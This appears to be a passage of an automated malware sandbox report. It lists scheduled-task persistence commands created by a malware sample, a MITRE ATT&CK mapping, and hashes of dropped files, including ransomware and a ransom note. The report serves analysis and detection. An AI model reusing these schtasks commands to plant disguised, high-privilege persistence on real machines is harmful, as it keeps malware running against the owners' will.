- Scheduled Task/Job: Scheduled Task
PID:3232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "クラックク" /sc MINUTE /mo 10 /tr "'C:\Program Files\Google\クラック.exe'" /rl HIGHEST /f
1⤵
PID:6916

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows NT\TableTextService\en-US\sysmon.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7016

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 12 /tr "'C:\Users\Default\My Documents\System.exe'" /rl HIGHEST /f
1⤵
PID:5452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 9 /tr "'C:\Users\Default\Recent\TextInputHost.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\Idle.exe'" /f
1⤵
PID:7096

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\TableTextService\en-US\sysmon.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows NT\TableTextService\en-US\sysmon.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Idle.exe'" /rl HIGHEST /f
1⤵
PID:5560

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Users\Default\Recent\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6544

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6332

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Happy18H" /sc MINUTE /mo 13 /tr "'C:\Windows\ShellExperiences\Happy18.exe'" /f
1⤵
PID:4952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
PID:6916

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
PID:5792

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chromec" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Mail\chrome.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5968

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\chrome.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:2080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Happy18H" /sc MINUTE /mo 13 /tr "'C:\Windows\ShellExperiences\Happy18.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de519071" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "kosomkk" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows NT\TableTextService\en-US\kosomk.exe'" /f
1⤵
PID:6768

C:\Windows\system32\schtasks.exe
SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Scripting

T1064

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Scripting

T1064

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CDHWYSOV-DECRYPT.txt

Path C:\$Recycle.Bin\S-1-5-21-2412658365-3084825385-3340777666-1000\CDHWYSOV-DECRYPT.txt
Size 8KB
SHA256 6147a23df6ba96dac2685d473e6fa7a662e5c955c04b0c60f94b10021c96e21e
MD5 9fc8b366c0a7add2fff000658b27abb9
SHA1 dcdcb8a24cec25d74234296b74166dc6656ed70e
SHA512 d743a4c3146391006ca910fe5f456ecfb1be7e87f48e2e476da7a4fabc958025d7ccad2ce04d8769f234223dae28317c1eb5ee22f845b6de9658806fa2cc2a89
SSDEEP 96:dbJvym0f4LU1dwnZgVtMQriYzPS59+yKx3yt080JlSgSfP7MUPXqtXCxxSHGFmY6:dbEhf441dw6EMTzKz8N5Sg0/wybFjIcS
MD5 SHA1 SHA512 SSDEEP

Submit Download

172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe

Path C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
Size 233KB
SHA256 87353d18dfdebf4d0747bbf21d58adaed2b04060d61cba3fa052d522640520f0
MD5 4ef3177a2e94ce3d15ae9490a73a2212
SHA1 a34f47568ce7fcea97a002eebeae385efa98790c
SHA512 635ce5c0d1b9f7dd5d7b4c00f216af06dc7d818132ba87a57d3d54f6b30ee01f64430d2aa265f60027cc58dc2e738d5b674ee36ffdca34ff540ce44b7da7c502
SSDEEP 6144:xRLoVADCdeGx+T9mu2umTe7QBm+ip7BGN:xVWzQT9DmTaQBPidy
MD5 SHA1 SHA512 SSDEEP

Submit Download

2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe

Path C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
Size 55KB
SHA256 2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c
MD5 17315d95e80eb36cc51a7d25e4c8b231
SHA1 95006ad8de0a17dc3df6698e195e62b8ee32475e
SHA512 481a15c46dcf38562aa989f52330e556da90a3ce00190cedb2e00b2a39df5db3bcc3af743060fd8c75933d6ae756aa4bbc176708f36d3b4aa443b4663ca94608
SSDEEP 1536:OnQdIDnrNZtLy9CIDRwsNMDfXExI3pmmm:K6IDnRekIDRwsNMDfXExI3pm
MD5 SHA1 SHA512 SSDEEP

Submit Download

31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe

Path C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
Size 37KB
SHA256 31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65
MD5 5c8eb40a1344bd8b18c1ef0d95d433d4
SHA1 b6c1f037637936ae018cc5e3e17ab9f3cc8cb3ff
SHA512 74aa4c3047e5fff0b0d903841ceb01cd0e9939244c9008a9ae6a77ee5484290e7a0df56bbfc422ff5cf80012e84b75af2cf8840fd6ce6c80ea361fa07e5da577
SSDEEP 384:z0ACT0i9PdTe/kCOyU7fwv9YDn6a5rAF+rMRTyN/0L+EcoinblneHQM3epzXONrz:YlV1CFU7fwyj6GrM+rMRa8Nuk/rt
MD5 SHA1 SHA512 SSDEEP

Submit Download

34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe

Path C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
Size 93KB
SHA256 34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219
MD5 7299c8fe0d2e5c385c4e4711260ee2b5
SHA1 4814f8494c3ff005203838e25a62cdb1ce5f8d68
SHA512 2103b6e574657998159979c0d1e9021175732fffbfcba4ac1c3f778b33010129b9b9467b6f6a1e5f4095e9bf62d2212654f20c5a051cbb72158a2a8f399dfaad
SSDEEP 1536:LU4FQWqkqqoLc2m+iIjEwzGi1dDwDRgS:LU4mkqqoA2xi5i1dmO
MD5 SHA1 SHA512 SSDEEP

Submit Download

57ccb6f0bd910fed428761828ae93553.exe

Path C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
Size 3.2MB
SHA256 7d357b523b5116915747af1fb0d5e6b20a472dd08fd4eda3d0733aeaf70dcd07
MD5 57ccb6f0bd910fed428761828ae93553
SHA1 71dfe6354ac308d03cf7219686358652b9a8d438
SHA512 44423e3df0d34d8917c82103f336cf0c61cd0aa2e3722e3baf9224daf0b620009967136b1625d2f783b1e36207ac529008d49235ae2ae50b01a9b053d0ba0878
SSDEEP 49152:ftQeb4xRlGTVSRO9qcHb+iebc1qY0wFXdPKW42i3rnRUku/ON5X/LiR19H9I5:FQeaPG9qe+iebccY0wFJi3rWSV09I
MD5 SHA1 SHA512 SSDEEP

Submit Download

5e710462c65fe899466e4fb7c1e33c9a.exe

Path C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
Size 828KB
SHA256 f4f54ed5ec3a6e3b427be418fa0f63061e2feffbb9c33ab3911404b1b8f93c7e
MD5 5e710462c65fe899466e4fb7c1e33c9a
SHA1 a0bee34a8865683de35502c1ed5ff41e86670718
SHA512 35c4adede7a4f8baad61876de8821e91dfe4ace4ec721575fc8155f6e7d43c794a7d4741609fda24b16a82d3d9ae18bc35addb299416f59ad1cde74eedbfa0c2
SSDEEP 12288:EvOAQLaYtdYw31GFFattZAm6OmrK96b7kv2DiNAVq:nfWYtdVGFctt+PhrK96bAvfkq
MD5 SHA1 SHA512 SSDEEP

Submit Download

70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe

Path C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
Size 568KB
SHA256 70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2
MD5 4448a3c2ddfdda45009b440faa39a5fe
SHA1 b16a26331d6ebe8f4a45b43e8b0251a715139b10
SHA512 094cef6184c29430be5e4536b54cdfa632b52e7e09c7a4c04104d1b533113f6de6190d6525aac84ddba631220ee0b33a047272b952765977df336a5fa72425b0
SSDEEP 12288:iT54AFCJqPKs1/C4/+e2DE3E80orZlwpv7YL6afhjuday:iT54AFI8x2e2o080oHqv7Y+afFudr
MD5 SHA1 SHA512 SSDEEP

Submit Download

73c1c41b9e71c48e752a5cd19fe808b6.exe

Path C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
Size 827KB
SHA256 fce441edb227275c5380194cc7a96a95998de6d75cd601b73bce1be529a68bd6
MD5 73c1c41b9e71c48e752a5cd19fe808b6
SHA1 b8bd41a0b9dc7baef6eb01dfe6c852afdfaeed18
SHA512 f146a8917d39aa29d52386f5a23bbc01fbfade291d576782b5cc80b0ca363fa24fee80f00cf81ffa40e12503fedd203b422b7ad97dbb0d4500152e86d974cb38
SSDEEP 12288:JU3eNRedfgcpnS+rRBhJrppyCgDDJnqem1VC/Ucg:WuNRedfgl+rRBPwFqemEUcg
MD5 SHA1 SHA512 SSDEEP

Submit Download

75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe

Path C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
Size 268KB
SHA256 75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa
MD5 fc57a660e24d9c91cb5464b2ece30756
SHA1 6d70e4dcd68ea6dae43cc381d4be84bcfad38eda
SHA512 8f0fa0a2e5553a4059ac3e224ea8106131193f3cec7c23456507f8404c42440267efe88462cf31bcd3a6f9dba57011933a2a43e74b1cccd5d1a363497d1a3a67
SSDEEP 6144:udKGuGIv6QOVgDeL21jYmyK1ftUI/iQQQQQQK:uLDI6N8eL6cQaI/5QQQQQK
MD5 SHA1 SHA512 SSDEEP

Submit Download

78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe

Path C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Size 205KB
SHA256 78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae
MD5 887b35a87fb75e2d889694143e3c9014
SHA1 c8be4500127bfce10ab38152a8a5003b75613603
SHA512 98cf0e201092e6d43a7ec5db4d80e6cc20ec9a983098b04597039b244535f78a4096b76bc62e591336b810fafa302e1009a64be6e788f24dcc8b3ac0c8eb930a
SSDEEP 3072:b2HPbwlPLBkWW+DrxsYwvif/Sx+YzM5ul7SaD82gHxoLoPTI1IL7vtJf:bYT0PLB3QNJz6uhbDju6c3LJl
MD5 SHA1 SHA512 SSDEEP

Submit Download

7f1630df6b57af024a3b561bdadc208f.exe

Path C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
Size 175KB
SHA256 c9dbac4fe659e8918f50a4a157713e40d71e05367799af66d1d7845d958ee3f7
MD5 7f1630df6b57af024a3b561bdadc208f
SHA1 9b304cb2eff05f040b76eccc00ee55b914cf1839
SHA512 742219cb5c76b9d39ed56cff988a533d19ef3e202e0fa48e9a3aed7dd9de190eef0c313bc974e37e7f363892eb6787bc66657324be2f0fb05d1b0021ae61ec9e
SSDEEP 3072:Je8p6ewdOIwQx76vK/bvTv0cU+lL/dMlZZUZ0b2gT1wARE+WpCc:F6ewwIwQJ6vKX0c5MlYZ0b2K
MD5 SHA1 SHA512 SSDEEP

Submit Download

938b92958ded4d50a357d22eddf141ad.exe

Path C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
Size 308KB
SHA256 93c8db29ec3707f13bf5a96d5b8a3dc33c2f5b870acd3df07292c724ce10a13f
MD5 938b92958ded4d50a357d22eddf141ad
SHA1 062f16b1cdfacc55f982908ee6c85fce6296805a
SHA512 372942601188751cdbb79cc94469a66434ca2963591bb849137654622485cd92f4ac8fbbc9b83c3acdc128e354bb3b805af0fc0a465e0a2519d330f8ca9a6c36
SSDEEP 6144:Ga7qE/i71gzo/NAJqE2UftT3OCi4wMPpC0M+uf3Yk:52DpgABkfVNJpTM1
MD5 SHA1 SHA512 SSDEEP

Submit Download

BTZ.exe

Path C:\Program Files (x86)\BTZ.exe
Size 73KB
SHA256 ecfed4163f7058856e1d253a29d06d808c069670e4a06cad66f42e71cbc83a2e
MD5 cff0392ac2a1d782f43f7938ea18af4f
SHA1 1dfd93a3106a1b4fd10cfaf8b8bb4bb606c4093d
SHA512 134f6c8343bbcce6e23ae370193aa1b415f337790e13b2cd6171e657c775c7971a7b13146d930b5273b0ea64ee947df1cc5467e4dd52900d70f13550c6b9ae8b
SSDEEP 1536:G9LdawS6uhNSyy8siRf7JAzNOpGZUDyxPlOMA9u95cenJp:o5axvNSyy8mOaUDyxPlOMxEKH
MD5 SHA1 SHA512 SSDEEP

Submit Download

Cat.exe

Path C:\Program Files (x86)\Cat.exe
Size 2.1MB
SHA256 d61f36d7dc8cc8464434ee6fa72fec2d1e210978769d1443db08f1decd845f67
MD5 fadadf302e5b6c4010d700a3802ac678
SHA1 6548d465ae4facaa1d2d1921e423a7b871bcf36b
SHA512 571db891718f1cc7e260772054ec39592259fdb3238dab90071a8ab7eeddc5baf2de2719f12f246a4a0466da7b72776a49f51da124afff936cd78f4253b5646b
SSDEEP 49152:UEBfLR6qdDKrE8pK2sdXusHngz/C/B17:HBDdurEisdXBno/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

Client.exe

Path C:\Program Files (x86)\Client.exe
Size 100KB
SHA256 d2525bab5cb322933c8978880975e0c189feece68ae3f1951bf46297c7f640fa
MD5 21560cb75b809cf46626556cd5fbe3ab
SHA1 f2eec01d42a301c3caacd41cddb0ef2284dbb5a6
SHA512 21eac0037b16f968ee8743b52dc73efdd34d24c2502d090b399a552dc6cb75f7d3090c10d448c66b868b1c4a7c46a5068b084b88b487e40b1e755356cb7557db
SSDEEP 1536:qGkejogIvPTr3t3wYujhlht9gOmUrabXYNBalr0y2uCNXa36KVbj2zmxTey8P4:VkeNeN3w/jhlhE1Z8Nig9LXoVbjdEy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

Darkest Dungeon setub.exe

Path C:\Program Files (x86)\Darkest Dungeon setub.exe
Size 284KB
SHA256 6ba1d9cf4b63033c0d9752fbe663eee726a5cf5401b20b8b8e927cca39cf113d
MD5 382c21837fbb296675b92c64bbc6249d
SHA1 ddedd90110497139ee0b5fca0e8ea3b585271f6d
SHA512 3a7cc906a9bc94526b0f0fbaff43fa6230e14d0226439d1558b1e09d258911beb79fbfdb56c9286373856dca958dd5decb10c42e7248763dde1e1e85a3aae727
SSDEEP 6144:B8i0cFCFnlufWH+VHrpZwZoRygeXbGAwEyMFbtRNtuZS6WM5hob2wNNfGb8yxQVM:qi0YxfRnwWRJEyqlb4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Gandcrab5.0.3.exe

Path C:\Program Files (x86)\Gandcrab5.0.3.exe
Size 424KB
SHA256 49b769536224f160b6087dc866edf6445531c6136ab76b9d5079ce622b043200
MD5 95557a29de4b70a25ce62a03472be684
SHA1 5baabf2869278e60d4c4f236b832bffddd6cf969
SHA512 79b78cf77926e0d8b424ad9984f72d4461c7d9e7af58c4e2af32fa7c58cc445c534228b0709b87f5e35e1c8793b3d028dc60787151d852b8524023d08b57f103
SSDEEP 6144:/UGV83D35bJrqV2L/E0tA+j16kUef5Nj1mB9WjEw0tzMV:qvmVe9h1qEtkBzw0tQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

Happy18.exe

Path C:\Program Files (x86)\Happy18.exe
Size 9KB
SHA256 ddd60301114f7867605a31a6d7c4c2014fe28bd4e0edfc53024a22d10b7bf3f8
MD5 8c0ec9b7f903dce401ac301fbf43e930
SHA1 46db7e2a37d95eb1265b30c1557a5e80683b48f1
SHA512 5dc630f669ae4ddb6cbe6b6f276d63aaf9f55de964990b4a2a57830bd0fd1127a2ee729bc099b738e813c6e0b23a29c3d73b39bb6055372867eb1dcc57635ae5
SSDEEP 192:nR81cIkA5Dbaj/CaFx40Z9HnLH8bzTb8t5BNUFO:RycyhqN4u9HnLH8bnb8tpl
MD5 SHA1 SHA512 SSDEEP

Submit Download

LightNeuronX0.exe

Path C:\Program Files (x86)\LightNeuronX0.exe
Size 14KB
SHA256 14f530e16e8c6dbac02f1bde53594f01b7edab9c45c4c371a3093120276ffaf1
MD5 55319464e46e2c31d22b39b46d5477fb
SHA1 a4d1a34fe5effd90ccb6897679586ddc07fbc5cd
SHA512 3a3ad3aa4bf745932d8ea02f3c96774aada2d1d1723be1ceb6cd5b7823e3d0f4e91457dbeebe92c8a2c8e7bdc1134b3b59bb9d9ce7503aeae6c182894203c9a3
SSDEEP 192:uKJcpnp6JyqByCQN/F1VrkOBXV7727UVRFa3D0gLI7l0aFC66OGJGNAKYjJgO:zc/tvkQ7727USml0WuRSAKaJg
MD5 SHA1 SHA512 SSDEEP

Submit Download

TEST.exe

Path C:\Program Files (x86)\TEST.exe
Size 37KB
SHA256 2ce66bab757ad6cbee699be5ad711582d837f3e0b216d70cdb933c4c9415b20b
MD5 ca70b79092c1b1e6dc8eb7950864b0ee
SHA1 3396cebc62c348fc96463a73a40eb4e5e6bc09c5
SHA512 9eb6c13096de168c46d8c2dd78ce28a19dd4f0aadded4fcf6b9ed655faac43747f7eb7123f664c8e44d77aaf1c6948ec6072a9d63b98ec69e104a7bbb97ebe34
SSDEEP 768:i0RRmRTsaj5bFEy/SuAITacgxRE29VciB6SGqyovtrwpdR:i0RDJZ1ncgxN9CioCyol8pdR
MD5 SHA1 SHA512 SSDEEP

Submit Download

a6a1abaf12a28ea8f6553356c3bdcf57.exe

Path C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
Size 874KB
SHA256 f2507211585dfe351ff53086f30b42572db223b2646e45f91b7f3e202bb0bb76
MD5 a6a1abaf12a28ea8f6553356c3bdcf57
SHA1 b7613fb9944bc3d8e11b5eb6f7ff706f04e8ad53
SHA512 e525d119128c1ca1c05d379b9ebba9791b7b15390c8999773bff6517fde674178e17ee2c7c126b249c8c54b4dd1c07326ba24d52c8c192f067bc7e8545113a65
SSDEEP 24576:rdsjsPnQQYY1U6G34Ck2Eo+sr4Kj6BKGd7a0:Esp566G3w236KjjGd7a0
MD5 SHA1 SHA512 SSDEEP

Submit Download

evil.exe

Path C:\Program Files (x86)\evil.exe
Size 23KB
SHA256 02ac6f6f2eff68b25be9ec044a2af027fbc915af3053f647086f68ad8d6c2e30
MD5 0e0d73422110762ad112c39647865d09
SHA1 4bb94e94e65a8bc12313783df99b96d89d7fd764
SHA512 e31a21c42c7bcdeb8dd80418fad12d5dc8486e21b609f5636114021fbcadb989ca7a612c0300ebb235c5f7a167a60541125409bd959442116407f48808742607
SSDEEP 384:3oWtkEwn65rgjAsGipk50D16xgXakhbZD0mRvR6JZlbw8hqIusZzZmQ:Q7O89pbrRpcnuQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

fwclt.exe

Path C:\Program Files (x86)\fwclt.exe
Size 1024B
SHA256 0f5ec3b9535d4f956330351c5310626ffaa17f146ff51a8b3b10ea0a7039eadc
MD5 c98a0d1909d8fad4110c8f35ee6f8391
SHA1 3c2b7bb0f3c8ca829602e4182a816a0905398521
SHA512 d3760b816b2a3fc3ec4f3ed9eee869885943d95d8a18f8a8233bc3e1b0f774dc9f55b518a54bcac3f94b2d960a73e53987fc09fa338c5b56d20e042610c0d948
MD5 SHA1 SHA512

Submit Download

kosomk.exe

Path C:\Program Files (x86)\kosomk.exe
Size 23KB
SHA256 1d74f423f423175189fbe07b34697cae04d6d48181efbed5c3b790a137145f10
MD5 926e2c78bcea51e5309db037b18b4202
SHA1 d4b80f95bfdc9c2ff860ac0cc2012a81b425801d
SHA512 6962876b91bcf7d40d9250dde094ce560f3b3c7a4766ac5e810d27de46cd4167937042d5ae94b21f21a1b19dc4c39dc0107e2aac1fbcd17680345f2fe06354a1
SSDEEP 384:Ac6CqbFYh3odrVCGiHssDB4b6i6fgpEupNXRmRvR6JZlbw8hqIusZzZ0k:/IU0tw3RpcnuK
MD5 SHA1 SHA512 SSDEEP

Submit Download

malecus.exe

Path C:\Program Files (x86)\malecus.exe
Size 15KB
SHA256 1ef41bb945daf62e1a7098b1f9b684e54cb1ac5fbbadf1f49e5a87b1788b9f85
MD5 0e741eb3f92a7a739628d04a5fd4aab9
SHA1 87a8865773a791ab3ca68201cee7a0c3fef2fab3
SHA512 1377611e60d25eb456f5d5c911fe16c7d655b7930a8475e7d164d0c536740d286c7c27bcedd191c266c3085f6570892a975fddaee9a9ab3ca4b598b53350283c
SSDEEP 384:oKW8yInq3IB/8GSNHDfqQEUnIjaLiC7d+7/Q:o+ZnTFS9DftEUnh7U7/
MD5 SHA1 SHA512 SSDEEP

Submit Download

see7.exe

Path C:\Program Files (x86)\see7.exe
Size 574KB
SHA256 513624286483a4e172511b412b82445a06eefc904d54de75da656ec1a6f8ae99
MD5 1ccf28645e2d52556487a9710de54d8e
SHA1 e83b5b14a3d08d8838e23c08070ebec713f859ef
SHA512 5a5f4c5fb992bac2119234563a8a7d3418baab3e3519f936f13a598aa9026dbeba571b7981a5a6afa519e18b124d8cf4c6642b30b88a4a091a051e2b41c5f321
SSDEEP 12288:ISLCbH4ZEOJVXxLUpCS+zJMEuKr/5iCseJ7HA9oX+q6Eb1Ql2L2I:n4HMui/5FsXxq6Nl2
MD5 SHA1 SHA512 SSDEEP

Submit Download

vbc.exe

Path C:\Program Files (x86)\vbc.exe
Size 123KB
SHA256 e0a4948a58829f4ecd9e6fb9b28e127a6827bd8761ded085d2069a248f6f5462
MD5 d2ce3b2a5f3efb1fcede96304e57a531
SHA1 d74be8fe0be4ec13340dad9c0fdeb653c9c8b90e
SHA512 fd0d0b51000b146049db24ecac27885ff4f688b4e40b42061972d21aaa45f8657437db8f56880f5414f00b5e35febce8a339b1d30bd387f8f11a179b222e828b
SSDEEP 3072:l1NjcVVnLpPunbrclqvVjW/GAk+dOH6yzqwr1O+5ZFy:HNeZmrc+/AkDBzqwwqi
MD5 SHA1 SHA512 SSDEEP

Submit Download

virus.jk.exe

Path C:\Program Files (x86)\virus.jk.exe
Size 2.0MB
SHA256 c1bc3d85a9f78eea49adfb80669570c0cd6cd3dda92223496182e3aadf4e0b30
MD5 e0d346913cbf16602edf1aceda2a62b1
SHA1 2387b499cba2684ab293a758413ea2a5f150fa45
SHA512 a2c9a2708b4e0a32ab10bd29428ad2583382a5bb56dc6641ae07144d8707efd963004d1a5e71a9c8b9c53e09629b60b9ef7e6a16366ee376083937e717c1977f
SSDEEP 49152:POx9kiigdS4AyUAbrVdo4MjYvVn6UszXtqnKyMX5yeCb6Ny:P0Bi0S/ObrVW4MdU8tWtMp9k6Ny
MD5 SHA1 SHA512 SSDEEP

Submit Download

d836b872748ccf

Path C:\Recovery\WindowsRE\d836b872748ccf
Size 238B
SHA256 0d447da882c06a31fcb2c0d4d2229e01d7b36fc5162f52b8f187084cddec31b4
MD5 a6724d91e12145a62ea008cbff6c549c
SHA1 8d922116fa6e1577b4c29b207c4b17b9c64159cf
SHA512 7a2a1387aaa175229413dc4eb9fc6033b6193a2a17490e8c9f226fe53e0f3f3185e0e35b9764063f8f3d25685457605a590a02a73dcfe4021e346fbfe7d942be
MD5 SHA1 SHA512

Submit Download

Bookmarks.txt

Path C:\Users\Admin\AppData\Local\0993adca3a05158d4947d12883e78d74\Admin@HVDPCYGS_en-US\Browsers\Firefox\Bookmarks.txt
Size 105B
SHA256 c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142
MD5 2e9d094dda5cdc3ce6519f75943a4ff4
SHA1 5d989b4ac8b699781681fe75ed9ef98191a5096c
SHA512 d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 7ec5b8abe3f9c57031b07a05fd9e48627500b540c0b159926cd1271a35330ecf
MD5 87cacfcea75441e3cbe79ea148edfcfb
SHA1 cd23c9420d3e9b73897e2e4598b4898f1534464c
SHA512 b36e28f27e6fe3d573cd24eb45ef553369ed4e5b3123821a8ff415850e365fbf34995dbb7790805fa4187fe6b8e2932969f383e6badb9027959a402d5e824627
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 336B
SHA256 214d56796e432a6c7a4cf7202093fe8a41e385d8f407cab3cfbae0a460d362a7
MD5 4918f8580f36e0fd09e04b46c7aef914
SHA1 fbe080c7909e42f6e5eb55e78560a28a19d4a405
SHA512 13cbadb9d5b361ac4a5d98b4f30256bcb5007da8c8e74b2fbb5a537be828609561be71a75c039ac15c00fb6fcc89323cdcee683293205862850ea6c6075fd307
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 3eb48a73aab207de8dded0e97f1a3a5d72c2d4dc2e29fff1769ab8bc1a4f7d77
MD5 45749049df391537b363bb66f5eeb76c
SHA1 0789e107471ccab1ba7400b741b1868e24eaf94d
SHA512 4e7f69f47c43b37cf12406e0f7a5787e98c80269a26c97eb61e94608e826f96881996e90e8c4461beae83810e1db60801d8020756fe20326959879798ac4783d
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
